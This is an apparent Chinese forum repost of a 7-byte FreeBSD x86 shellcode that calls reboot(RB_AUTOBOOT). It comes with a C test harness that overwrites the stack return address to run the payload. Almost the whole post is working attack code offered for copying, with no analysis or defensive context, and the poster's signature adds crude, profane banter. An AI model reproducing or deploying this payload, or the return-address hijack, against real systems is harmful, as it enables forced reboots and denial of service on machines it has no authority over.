发新话题
打印

freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes

freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes

文章作者:IZ
复制内容到剪贴板
代码:
/*
*
* FreeBSD_x86-reboot-7b.c (Shellcode, reboot(RB_AUTOBOOT), 7 bytes)
*
* by IZ <guerrilla.sytes.net>
*
*/


char shellcode[] =
"\x31\xc0"            /* xor %eax,%eax */

"\x50"               /* push %eax */
"\xb0\x37"            /* mov $0x37,%al */
"\xcd\x80";            /* int $0x80 */


void main()
{
    int*    ret;      

    ret = (int*) &ret + 2;

    printf("len %d\n",strlen(shellcode));

    (*ret) = (int) shellcode;
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题